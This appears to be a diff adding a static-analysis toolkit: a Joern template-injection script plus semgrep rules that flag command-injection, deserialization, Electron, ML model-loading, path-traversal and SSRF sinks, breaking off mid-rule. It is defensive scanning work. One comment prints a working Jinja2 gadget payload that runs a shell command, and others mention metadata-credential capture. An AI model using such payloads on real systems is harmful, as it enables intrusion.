| + | // render_template_string / Environment.from_string, Mako, Handlebars.compile, EJS, Pug/Jade, | |
| + | // Tornado, Velocity, Freemarker. The danger is when the TEMPLATE TEXT (not just the context data) | |
| + | // is attacker-controlled. | |
| + | // | |
| + | // FINDING = tainted data reaches a from-string template compile/render. SOURCE_CONFIRMED only. Per | |
| + | // SEVERITY-GATE F1, `{{7*7}}`->`49` is expression eval, NOT RCE - the oracle must land a gadget | |
| + | // (`{{ cycler.__init__.__globals__.os.popen('id') }}` etc.) returning command output. | |
| + | // | |
| + | // INVOKE: joern --script template-injection.sc --param inputPath=/abs/path/to/src | |
| + | // | |
| + | // NOTE: render_template (file-based) is generally SAFE; only the from-STRING variants are SSTI sinks. | |
| + | // We deliberately match the *_string / from_string / compile forms, not file renders. | |
| + | ||
| + | import io.joern.dataflowengineoss.language._ | |
| + | import io.joern.dataflowengineoss.queryengine.EngineContext | |
| + | import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode} | |
| + | ||
| + | @main def exec(inputPath: String, projectName: String = "cyclops_ssti"): Unit = { | |
| + | importCode(inputPath = inputPath, projectName = projectName) | |
| + | implicit val ctx: EngineContext = EngineContext() | |
| + | ||
| + | def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110) | |
| + | def loc(n: AstNode): String = { | |
| + | val ln = n.location.lineNumber.map(_.toString).getOrElse("?") | |
| + | s"${n.location.filename}:$ln" | |
| + | } | |
| + | def emit(cls: String, flows: List[Path]): Unit = { | |
| + | flows.foreach { p => | |
| + | val s = p.elements.head; val k = p.elements.last | |
| + | println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}") | |
| + | } | |
| + | println(s"DATAFLOW_PATHS[$cls]=${flows.size}") | |
| + | } | |
| + | def emitCands(cls: String, calls: List[Call]): Unit = { | |
| + | calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}")) | |
| + | println(s"CANDIDATE_SINKS[$cls]=${calls.size}") | |
| + | } | |
| + | ||
| + | val SRC = "(?i)(recv|read|stdin|input|get_data|get_json|args|form|values|cookies|environ|argv|" + | |
| + | "getenv|body|content|params|query|headers|message|completion|response|output|" + | |
| + | "arguments|tool_input|prompt)" | |
| + | def srcIO = cpg.call.name(SRC).argument | |
| + | def srcParams = cpg.method.name("(?i)(handle.*|on_.*|render.*|get|post|route.*|view.*|tool.*)").parameter | |
| + | ||
| + | def scan(cls: String, nameRe: String, codeRe: String): Unit = { | |
| + | def sinks = (cpg.call.name(nameRe) ++ cpg.call.code(codeRe)).dedup | |
| + | emitCands(cls, sinks.l) | |
| + | emit(s"$cls<-io", sinks.argument.reachableByFlows(srcIO).l) | |
| + | emit(s"$cls<-params", sinks.argument.reachableByFlows(srcParams).l) | |
| + | } | |
| + | ||
| + | // ---- Python (Jinja2 / Flask / Mako / Tornado) ---- | |
| + | scan("py-jinja-str", "render_template_string|from_string", ".*render_template_string\\s*\\(.*|.*from_string\\s*\\(.*") | |
| + | scan("py-jinja-tmpl", "Template|render", ".*(Template|Environment)\\s*\\(.*|.*\\.render\\s*\\(.*") | |
| + | scan("py-mako", "Template|render", ".*mako.*Template.*") | |
| + | scan("py-tornado", "Template|generate", ".*tornado.*Template.*") | |
| + | ||
| + | // ---- JS (Handlebars / EJS / Pug / Mustache / Lodash) ---- | |
| + | scan("js-handlebars", "compile|precompile|template", ".*Handlebars\\s*\\.\\s*(compile|precompile).*") | |
| + | scan("js-ejs", "compile|render", ".*ejs\\s*\\.\\s*(compile|render).*") | |
| + | scan("js-pug", "compile|render|compileClient", ".*(pug|jade)\\s*\\.\\s*(compile|render).*") | |
| + | scan("js-lodash-tmpl", "template", ".*_\\s*\\.\\s*template\\s*\\(.*|.*lodash.*template.*") | |
| + | scan("js-nunjucks", "renderString|compile", ".*nunjucks.*renderString.*") | |
| + | ||
| + | // ---- Java (Freemarker / Velocity / Thymeleaf) ---- | |
| + | scan("java-freemarker","getTemplate|process|Template", ".*freemarker.*Template.*") | |
| + | scan("java-velocity", "evaluate|mergeTemplate", ".*Velocity.*evaluate.*") | |
| + | ||
| + | println("SCAN_COMPLETE[template-injection]") | |
| + | } |
| @@ -0,0 +1,139 @@ | ||
| + | rules: | |
| + | # Cyclops v2 - semgrep fast-pass. SINK CLASS: OS command / code injection -> RCE. | |
| + | # SEVERITY-GATE Family 1. Match = CANDIDATE SINK. Joern confirms taint reachability; the oracle | |
| + | # proves with the injected command's OUTPUT / a callback. Concatenation alone is a hypothesis. | |
| + | ||
| + | - id: cyc-py-os-system-popen | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | os.system / os.popen runs a shell command string -> command injection if any part is | |
| + | attacker-controlled. IMPACT GATE: Family 1 RCE. | |
| + | metadata: | |
| + | cwe: ["CWE-78: OS Command Injection"] | |
| + | confidence: HIGH | |
| + | archetype: [devops-infra, ai-agent-mcp] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: os.system(...) | |
| + | - pattern: os.popen(...) | |
| + | - pattern: os.popen2(...) | |
| + | - pattern: os.posix_spawn(...) | |
| + | ||
| + | - id: cyc-py-subprocess-shell-true | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | subprocess with shell=True passes the command through /bin/sh -> command injection. IMPACT | |
| + | GATE: Family 1. (shell=False with a list argv is the safe form and is not matched.) | |
| + | metadata: | |
| + | cwe: ["CWE-78: OS Command Injection"] | |
| + | confidence: HIGH | |
| + | archetype: [devops-infra, ai-agent-mcp, cicd-supplychain] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: subprocess.call(..., shell=True, ...) | |
| + | - pattern: subprocess.run(..., shell=True, ...) | |
| + | - pattern: subprocess.Popen(..., shell=True, ...) | |
| + | - pattern: subprocess.check_call(..., shell=True, ...) | |
| + | - pattern: subprocess.check_output(..., shell=True, ...) | |
| + | - pattern: subprocess.getoutput(...) | |
| + | - pattern: subprocess.getstatusoutput(...) | |
| + | ||
| + | - id: cyc-py-eval-exec | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | eval / exec / compile on attacker-influenced input is direct code execution. IMPACT GATE: | |
| + | Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-95: Eval Injection", "CWE-94: Code Injection"] | |
| + | confidence: HIGH | |
| + | archetype: [ai-agent-mcp, devops-infra] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: eval(...) | |
| + | - pattern: exec(...) | |
| + | - pattern-not: eval("...") | |
| + | - pattern-not: exec("...") | |
| + | ||
| + | - id: cyc-js-child-process | |
| + | languages: [javascript, typescript] | |
| + | severity: ERROR | |
| + | message: > | |
| + | child_process.exec/execSync runs a shell string -> command injection. spawn/execFile with a | |
| + | tainted command or args is also injectable. IMPACT GATE: Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-78: OS Command Injection"] | |
| + | confidence: HIGH | |
| + | archetype: [electron-desktop, devops-infra, ai-agent-mcp] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: $CP.exec(...) | |
| + | - pattern: $CP.execSync(...) | |
| + | - pattern: $CP.execFile(...) | |
| + | - pattern: $CP.execFileSync(...) | |
| + | - pattern: $CP.spawn(...) | |
| + | - pattern: $CP.spawnSync(...) | |
| + | - pattern: child_process.exec(...) | |
| + | - pattern: require('child_process').exec(...) | |
| + | ||
| + | - id: cyc-js-eval-function | |
| + | languages: [javascript, typescript] | |
| + | severity: ERROR | |
| + | message: > | |
| + | eval / new Function / vm.runIn*Context execute attacker-influenced source -> RCE. IMPACT GATE: | |
| + | Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-95: Eval Injection"] | |
| + | confidence: HIGH | |
| + | archetype: [electron-desktop, ai-agent-mcp] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: eval(...) | |
| + | - pattern: new Function(...) | |
| + | - pattern: $VM.runInThisContext(...) | |
| + | - pattern: $VM.runInNewContext(...) | |
| + | - pattern: $VM.runInContext(...) | |
| + | ||
| + | - id: cyc-java-runtime-exec | |
| + | languages: [java] | |
| + | severity: ERROR | |
| + | message: > | |
| + | Runtime.exec / ProcessBuilder with attacker-influenced arguments -> command injection. IMPACT | |
| + | GATE: Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-78: OS Command Injection"] | |
| + | confidence: HIGH | |
| + | archetype: [devops-infra] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: Runtime.getRuntime().exec(...) | |
| + | - pattern: new ProcessBuilder(...) | |
| + | - pattern: $SE.eval(...) | |
| + | ||
| + | - id: cyc-c-system-exec | |
| + | languages: [c, cpp] | |
| + | severity: ERROR | |
| + | message: > | |
| + | system() / popen() / exec*() with attacker-influenced strings -> command injection. IMPACT | |
| + | GATE: Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-78: OS Command Injection"] | |
| + | confidence: HIGH | |
| + | archetype: [memory-unsafe-parsers, devops-infra] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: system(...) | |
| + | - pattern: popen(...) | |
| + | - pattern: execl(...) | |
| + | - pattern: execlp(...) | |
| + | - pattern: execve(...) | |
| + | - pattern: execvp(...) |
| @@ -0,0 +1,144 @@ | ||
| + | rules: | |
| + | # ===================================================================== | |
| + | # Cyclops v2 - semgrep fast-pass triage. SINK CLASS: untrusted deserialization -> RCE. | |
| + | # SEVERITY-GATE Family 1. A match here is a CANDIDATE SINK (hypothesis), handed to the Joern | |
| + | # dataflow pass to confirm reachability, then to the dynamic oracle to PROVE (popped shell / | |
| + | # gadget execution). A match alone is NOT a finding. | |
| + | # ===================================================================== | |
| + | ||
| + | - id: cyc-py-pickle-load | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | pickle.load/loads on untrusted data is RCE-by-design (gadget via __reduce__). | |
| + | IMPACT GATE: Family 1 RCE if the bytes are attacker-controlled. Confirm source->sink in Joern, | |
| + | then prove with an executing gadget (callback / command output). | |
| + | metadata: | |
| + | cwe: ["CWE-502: Deserialization of Untrusted Data"] | |
| + | confidence: HIGH | |
| + | archetype: [ml-model-loaders, ai-agent-mcp] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: pickle.loads(...) | |
| + | - pattern: pickle.load(...) | |
| + | - pattern: cPickle.loads(...) | |
| + | - pattern: cPickle.load(...) | |
| + | - pattern: _pickle.loads(...) | |
| + | - pattern: dill.loads(...) | |
| + | - pattern: dill.load(...) | |
| + | - pattern: cloudpickle.loads(...) | |
| + | - pattern: cloudpickle.load(...) | |
| + | ||
| + | - id: cyc-py-yaml-unsafe-load | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | yaml.load without SafeLoader (or yaml.unsafe_load/full_load) constructs arbitrary Python | |
| + | objects -> RCE. IMPACT GATE: Family 1. yaml.safe_load is the safe form and is intentionally | |
| + | NOT matched. | |
| + | metadata: | |
| + | cwe: ["CWE-502: Deserialization of Untrusted Data"] | |
| + | confidence: HIGH | |
| + | archetype: [devops-infra, ai-agent-mcp] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: yaml.load($X) | |
| + | - pattern: yaml.unsafe_load(...) | |
| + | - pattern: yaml.full_load(...) | |
| + | - pattern-not: yaml.load($X, Loader=yaml.SafeLoader) | |
| + | - pattern-not: yaml.load($X, Loader=SafeLoader) | |
| + | ||
| + | - id: cyc-py-ml-unsafe-load | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | torch.load / joblib.load / numpy.load(allow_pickle=True) / pandas.read_pickle deserialize via | |
| + | pickle under the hood -> RCE from a malicious model/array file. IMPACT GATE: Family 1, the | |
| + | model-file RCE class (ml-model-loaders archetype). | |
| + | metadata: | |
| + | cwe: ["CWE-502: Deserialization of Untrusted Data"] | |
| + | confidence: HIGH | |
| + | archetype: [ml-model-loaders] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: torch.load(...) | |
| + | - pattern: joblib.load(...) | |
| + | - pattern: pandas.read_pickle(...) | |
| + | - pattern: pd.read_pickle(...) | |
| + | - pattern: numpy.load(..., allow_pickle=True, ...) | |
| + | - pattern: np.load(..., allow_pickle=True, ...) | |
| + | ||
| + | - id: cyc-py-marshal-shelve | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | marshal.loads / shelve.open deserialize untrusted bytes into executable/code objects. | |
| + | IMPACT GATE: Family 1 if the source is attacker-controlled. | |
| + | metadata: | |
| + | cwe: ["CWE-502: Deserialization of Untrusted Data"] | |
| + | confidence: MEDIUM | |
| + | archetype: [ml-model-loaders, devops-infra] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: marshal.loads(...) | |
| + | - pattern: marshal.load(...) | |
| + | - pattern: shelve.open(...) | |
| + | ||
| + | - id: cyc-java-objectinputstream | |
| + | languages: [java] | |
| + | severity: ERROR | |
| + | message: > | |
| + | ObjectInputStream.readObject on untrusted bytes is the canonical Java deserialization RCE | |
| + | (ysoserial gadget chains). IMPACT GATE: Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-502: Deserialization of Untrusted Data"] | |
| + | confidence: HIGH | |
| + | archetype: [devops-infra] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: (ObjectInputStream $OIS).readObject() | |
| + | - pattern: $OIS.readObject() | |
| + | - pattern: $OIS.readUnshared() | |
| + | - pattern: new ObjectInputStream(...) | |
| + | - metavariable-regex: | |
| + | metavariable: $OIS | |
| + | regex: "(?i).*(ois|objectinput|in|stream).*" | |
| + | ||
| + | - id: cyc-java-other-deser | |
| + | languages: [java] | |
| + | severity: ERROR | |
| + | message: > | |
| + | XStream.fromXML / SnakeYAML new Yaml().load / Kryo.readObject deserialize untrusted input into | |
| + | arbitrary types -> RCE. IMPACT GATE: Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-502: Deserialization of Untrusted Data"] | |
| + | confidence: MEDIUM | |
| + | archetype: [devops-infra] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: $X.fromXML(...) | |
| + | - pattern: new Yaml().load(...) | |
| + | - pattern: $K.readClassAndObject(...) | |
| + | ||
| + | - id: cyc-js-node-serialize | |
| + | languages: [javascript, typescript] | |
| + | severity: ERROR | |
| + | message: > | |
| + | node-serialize unserialize() executes an IIFE embedded in the payload -> RCE. IMPACT GATE: | |
| + | Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-502: Deserialization of Untrusted Data"] | |
| + | confidence: HIGH | |
| + | archetype: [ai-agent-mcp, devops-infra] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: $S.unserialize(...) | |
| + | - pattern: serialize.unserialize(...) | |
| + | - pattern: $F.deepDeserialize(...) |
| @@ -0,0 +1,112 @@ | ||
| + | rules: | |
| + | # Cyclops v2 - semgrep fast-pass. SINK CLASS: Electron renderer->main RCE & unsafe webPreferences. | |
| + | # SEVERITY-GATE Family 1. Archetype: electron-desktop. Match = CANDIDATE; Joern confirms the | |
| + | # renderer-controlled IPC/protocol arg reaches the sink; the oracle proves with command output. | |
| + | ||
| + | - id: cyc-electron-ipc-to-exec | |
| + | languages: [javascript, typescript] | |
| + | severity: ERROR | |
| + | message: > | |
| + | An ipcMain handler that calls child_process / eval / Function is a renderer->main RCE CANDIDATE: | |
| + | the renderer controls the IPC args. IMPACT GATE: Family 1. Confirm the arg reaches the sink in | |
| + | Joern; prove with a callback from the main process. | |
| + | metadata: | |
| + | cwe: ["CWE-78: OS Command Injection", "CWE-95: Eval Injection"] | |
| + | confidence: HIGH | |
| + | archetype: [electron-desktop] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - patterns: | |
| + | - pattern-inside: ipcMain.handle($CH, function (...) {...}) | |
| + | - pattern-either: | |
| + | - pattern: $CP.exec(...) | |
| + | - pattern: $CP.execSync(...) | |
| + | - pattern: $CP.spawn(...) | |
| + | - pattern: eval(...) | |
| + | - pattern: new Function(...) | |
| + | - patterns: | |
| + | - pattern-inside: ipcMain.on($CH, function (...) {...}) | |
| + | - pattern-either: | |
| + | - pattern: $CP.exec(...) | |
| + | - pattern: $CP.execSync(...) | |
| + | - pattern: $CP.spawn(...) | |
| + | - pattern: eval(...) | |
| + | - pattern: new Function(...) | |
| + | - patterns: | |
| + | - pattern-inside: "ipcMain.handle($CH, (...) => {...})" | |
| + | - pattern-either: | |
| + | - pattern: $CP.exec(...) | |
| + | - pattern: $CP.execSync(...) | |
| + | - pattern: $CP.spawn(...) | |
| + | - pattern: eval(...) | |
| + | - pattern: new Function(...) | |
| + | - patterns: | |
| + | - pattern-inside: "ipcMain.on($CH, (...) => {...})" | |
| + | - pattern-either: | |
| + | - pattern: $CP.exec(...) | |
| + | - pattern: $CP.execSync(...) | |
| + | - pattern: $CP.spawn(...) | |
| + | - pattern: eval(...) | |
| + | - pattern: new Function(...) | |
| + | ||
| + | - id: cyc-electron-shell-openexternal | |
| + | languages: [javascript, typescript] | |
| + | severity: ERROR | |
| + | message: > | |
| + | shell.openExternal / shell.openPath with a renderer-influenced argument can launch arbitrary | |
| + | programs / file: URIs -> RCE. IMPACT GATE: Family 1. Confirm taint in Joern. | |
| + | metadata: | |
| + | cwe: ["CWE-749: Exposed Dangerous Method", "CWE-78: OS Command Injection"] | |
| + | confidence: MEDIUM | |
| + | archetype: [electron-desktop] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: shell.openExternal(...) | |
| + | - pattern: shell.openPath(...) | |
| + | - pattern: $S.openExternal(...) | |
| + | ||
| + | - id: cyc-electron-unsafe-webprefs | |
| + | languages: [javascript, typescript] | |
| + | severity: WARNING | |
| + | message: > | |
| + | Unsafe BrowserWindow webPreferences (nodeIntegration:true / contextIsolation:false / | |
| + | sandbox:false / webSecurity:false) collapse the renderer/main trust boundary, turning any XSS | |
| + | in loaded content into full Node RCE. IMPACT GATE: enables Family 1. This is a CONFIG candidate, | |
| + | not a dataflow finding - pair with an XSS/remote-content sink. | |
| + | metadata: | |
| + | cwe: ["CWE-1188: Insecure Default Initialization", "CWE-829: Inclusion of Untrusted Functionality"] | |
| + | confidence: MEDIUM | |
| + | archetype: [electron-desktop] | |
| + | impact: rce-enabler | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: "nodeIntegration: true" | |
| + | - pattern: "contextIsolation: false" | |
| + | - pattern: "sandbox: false" | |
| + | - pattern: "webSecurity: false" | |
| + | - pattern: "allowRunningInsecureContent: true" | |
| + | ||
| + | - id: cyc-electron-executejs | |
| + | languages: [javascript, typescript] | |
| + | severity: WARNING | |
| + | message: > | |
| + | webContents.executeJavaScript / loadURL with a tainted string injects code/navigation into a | |
| + | privileged context. IMPACT GATE: Family 1 if combined with node-enabled context. Confirm taint | |
| + | in Joern. | |
| + | metadata: | |
| + | cwe: ["CWE-95: Eval Injection"] | |
| + | confidence: MEDIUM | |
| + | archetype: [electron-desktop] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: $WC.executeJavaScript($X, ...) | |
| + | - pattern: $WC.loadURL($X, ...) | |
| + | - metavariable-pattern: | |
| + | metavariable: $X | |
| + | patterns: | |
| + | - pattern-not: "\"...\"" | |
| + | - pattern-not: "'...'" | |
| + | - pattern-not: "`...`" |
| @@ -0,0 +1,98 @@ | ||
| + | rules: | |
| + | # Cyclops v2 - semgrep fast-pass. SINK CLASS: unsafe ML model/asset loading -> RCE. | |
| + | # SEVERITY-GATE Family 1. Archetype: ml-model-loaders. This is the model-FILE RCE class: a | |
| + | # serialized model from an untrusted source executes code on load. Match = CANDIDATE; the oracle | |
| + | # proves with a malicious-model -> callback/command-output. | |
| + | ||
| + | - id: cyc-ml-torch-load | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | torch.load uses pickle by default; a crafted checkpoint runs arbitrary code on load. Even | |
| + | weights_only=False (default before torch 2.6) is exploitable. IMPACT GATE: Family 1 (malicious | |
| + | model file). Safe form: torch.load(..., weights_only=True). | |
| + | metadata: | |
| + | cwe: ["CWE-502: Deserialization of Untrusted Data"] | |
| + | confidence: HIGH | |
| + | archetype: [ml-model-loaders] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: torch.load($P) | |
| + | - pattern: torch.load($P, weights_only=False, ...) | |
| + | - pattern: torch.jit.load($P, ...) | |
| + | - pattern-not: torch.load($P, weights_only=True, ...) | |
| + | ||
| + | - id: cyc-ml-joblib-numpy-pandas | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | joblib.load / numpy.load(allow_pickle=True) / pandas.read_pickle deserialize via pickle -> | |
| + | arbitrary code from a malicious artifact. IMPACT GATE: Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-502: Deserialization of Untrusted Data"] | |
| + | confidence: HIGH | |
| + | archetype: [ml-model-loaders] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: joblib.load(...) | |
| + | - pattern: numpy.load(..., allow_pickle=True, ...) | |
| + | - pattern: np.load(..., allow_pickle=True, ...) | |
| + | - pattern: pandas.read_pickle(...) | |
| + | - pattern: pd.read_pickle(...) | |
| + | ||
| + | - id: cyc-ml-keras-tf | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | keras.models.load_model on an .h5/.keras file can execute a Lambda layer's pickled code, and | |
| + | load_model from an untrusted SavedModel can run code. IMPACT GATE: Family 1 (malicious model). | |
| + | metadata: | |
| + | cwe: ["CWE-502: Deserialization of Untrusted Data"] | |
| + | confidence: MEDIUM | |
| + | archetype: [ml-model-loaders] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: keras.models.load_model(...) | |
| + | - pattern: tf.keras.models.load_model(...) | |
| + | - pattern: load_model(...) | |
| + | ||
| + | - id: cyc-ml-hf-trust-remote-code | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | transformers from_pretrained / pipeline with trust_remote_code=True downloads and EXECUTES the | |
| + | model repo's custom Python (modeling_*.py) -> RCE from a malicious Hub model. IMPACT GATE: | |
| + | Family 1, the AI supply-chain RCE class. | |
| + | metadata: | |
| + | cwe: ["CWE-494: Download of Code Without Integrity Check", "CWE-829: Inclusion of Untrusted Functionality"] | |
| + | confidence: HIGH | |
| + | archetype: [ml-model-loaders, ai-agent-mcp, cicd-supplychain] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: $M.from_pretrained(..., trust_remote_code=True, ...) | |
| + | - pattern: transformers.pipeline(..., trust_remote_code=True, ...) | |
| + | - pattern: AutoModel.from_pretrained(..., trust_remote_code=True, ...) | |
| + | - pattern: AutoModelForCausalLM.from_pretrained(..., trust_remote_code=True, ...) | |
| + | - pattern: AutoTokenizer.from_pretrained(..., trust_remote_code=True, ...) | |
| + | ||
| + | - id: cyc-ml-pickle-direct | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | Direct pickle/dill/cloudpickle load of model bytes -> RCE. Common in custom checkpoint loaders. | |
| + | IMPACT GATE: Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-502: Deserialization of Untrusted Data"] | |
| + | confidence: HIGH | |
| + | archetype: [ml-model-loaders] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: pickle.load(...) | |
| + | - pattern: pickle.loads(...) | |
| + | - pattern: dill.load(...) | |
| + | - pattern: cloudpickle.load(...) |
| @@ -0,0 +1,113 @@ | ||
| + | rules: | |
| + | # Cyclops v2 - semgrep fast-pass. SINK CLASS: path traversal / arbitrary file read+write / zip-slip. | |
| + | # SEVERITY-GATE Family 7. Match = CANDIDATE SINK. The oracle must retrieve a real secret's CONTENTS | |
| + | # (or land a write that executes) - /etc/passwd is a primitive demo, not the impact. | |
| + | ||
| + | - id: cyc-py-zipslip | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | ZipFile.extractall / TarFile.extractall trusts archive entry names; a `../` entry escapes the | |
| + | target dir (zip-slip) -> arbitrary file WRITE, chainable to RCE (drop into a startup/.pth/cron | |
| + | path). IMPACT GATE: Family 7 -> Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-22: Path Traversal", "CWE-29: Path Traversal ZipSlip"] | |
| + | confidence: HIGH | |
| + | archetype: [ml-model-loaders, devops-infra] | |
| + | impact: arbitrary-file-write | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: $Z.extractall(...) | |
| + | - pattern: $Z.extract(...) | |
| + | - pattern: zipfile.ZipFile(...).extractall(...) | |
| + | - pattern: tarfile.open(...).extractall(...) | |
| + | ||
| + | - id: cyc-py-file-open-tainted | |
| + | languages: [python] | |
| + | severity: WARNING | |
| + | message: > | |
| + | open() / send_file() with a non-literal path is a path-traversal CANDIDATE if the path is | |
| + | attacker-controlled and not normalized+allowlisted. IMPACT GATE: Family 7 (arbitrary file read). | |
| + | Confirm taint in Joern; literal paths are not matched. | |
| + | metadata: | |
| + | cwe: ["CWE-22: Path Traversal"] | |
| + | confidence: MEDIUM | |
| + | archetype: [devops-infra, ai-agent-mcp] | |
| + | impact: arbitrary-file-read | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: open($P, ...) | |
| + | - pattern: open($P) | |
| + | - pattern: send_file($P, ...) | |
| + | - pattern: send_from_directory(..., $P, ...) | |
| + | - pattern: flask.send_file($P, ...) | |
| + | - metavariable-pattern: | |
| + | metavariable: $P | |
| + | patterns: | |
| + | - pattern-not: "\"...\"" | |
| + | - pattern-not: "'...'" | |
| + | ||
| + | - id: cyc-js-fs-tainted | |
| + | languages: [javascript, typescript] | |
| + | severity: WARNING | |
| + | message: > | |
| + | fs read/write with a non-literal path is a path-traversal CANDIDATE. res.sendFile / res.download | |
| + | with a tainted path serves arbitrary files. IMPACT GATE: Family 7. Confirm taint in Joern. | |
| + | metadata: | |
| + | cwe: ["CWE-22: Path Traversal"] | |
| + | confidence: MEDIUM | |
| + | archetype: [electron-desktop, devops-infra] | |
| + | impact: arbitrary-file-read | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: fs.readFile($P, ...) | |
| + | - pattern: fs.readFileSync($P, ...) | |
| + | - pattern: fs.createReadStream($P, ...) | |
| + | - pattern: fs.writeFile($P, ...) | |
| + | - pattern: fs.writeFileSync($P, ...) | |
| + | - pattern: $RES.sendFile($P, ...) | |
| + | - pattern: $RES.download($P, ...) | |
| + | - metavariable-pattern: | |
| + | metavariable: $P | |
| + | patterns: | |
| + | - pattern-not: "\"...\"" | |
| + | - pattern-not: "'...'" | |
| + | ||
| + | - id: cyc-java-zipslip-file | |
| + | languages: [java] | |
| + | severity: ERROR | |
| + | message: > | |
| + | new File(dir, zipEntry.getName()) / Files.copy with an archive-controlled name is zip-slip -> | |
| + | arbitrary file write. Also flags File/FileInputStream built from request input. IMPACT GATE: | |
| + | Family 7 -> Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-22: Path Traversal", "CWE-29: Path Traversal ZipSlip"] | |
| + | confidence: MEDIUM | |
| + | archetype: [devops-infra] | |
| + | impact: arbitrary-file-write | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: new File($DIR, $E.getName()) | |
| + | - pattern: Files.copy($IN, $DEST, ...) | |
| + | - pattern: new FileOutputStream(new File($DIR, $E.getName())) | |
| + | ||
| + | - id: cyc-c-fopen-tainted | |
| + | languages: [c, cpp] | |
| + | severity: WARNING | |
| + | message: > | |
| + | fopen/open with a non-literal path is a path-traversal CANDIDATE in native parsers/servers. | |
| + | IMPACT GATE: Family 7. Confirm taint in Joern. | |
| + | metadata: | |
| + | cwe: ["CWE-22: Path Traversal"] | |
| + | confidence: MEDIUM | |
| + | archetype: [memory-unsafe-parsers, devops-infra] | |
| + | impact: arbitrary-file-read | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: fopen($P, ...) | |
| + | - pattern: open($P, ...) | |
| + | - pattern: openat($D, $P, ...) | |
| + | - metavariable-pattern: | |
| + | metavariable: $P | |
| + | patterns: | |
| + | - pattern-not: "\"...\"" |
| @@ -0,0 +1,99 @@ | ||
| + | rules: | |
| + | # Cyclops v2 - semgrep fast-pass. SINK CLASS: Server-Side Request Forgery. | |
| + | # SEVERITY-GATE Family 7. Match = CANDIDATE SINK. A bare outbound/DNS callback is blind-SSRF | |
| + | # reachability, NOT a finding. The oracle must terminate in impact: metadata credential captured, | |
| + | # internal-admin action, or SSRF->RCE. | |
| + | ||
| + | - id: cyc-py-http-tainted-url | |
| + | languages: [python] | |
| + | severity: WARNING | |
| + | message: > | |
| + | HTTP client called with a non-literal URL is an SSRF CANDIDATE if the URL/host is | |
| + | attacker-controlled with no allowlist. IMPACT GATE: Family 7 (metadata cred / internal admin). | |
| + | Confirm taint in Joern; prioritize flows that can reach 169.254.169.254 / metadata endpoints. | |
| + | metadata: | |
| + | cwe: ["CWE-918: Server-Side Request Forgery"] | |
| + | confidence: MEDIUM | |
| + | archetype: [ai-agent-mcp, ml-model-loaders, devops-infra] | |
| + | impact: ssrf | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: requests.get($U, ...) | |
| + | - pattern: requests.post($U, ...) | |
| + | - pattern: requests.put($U, ...) | |
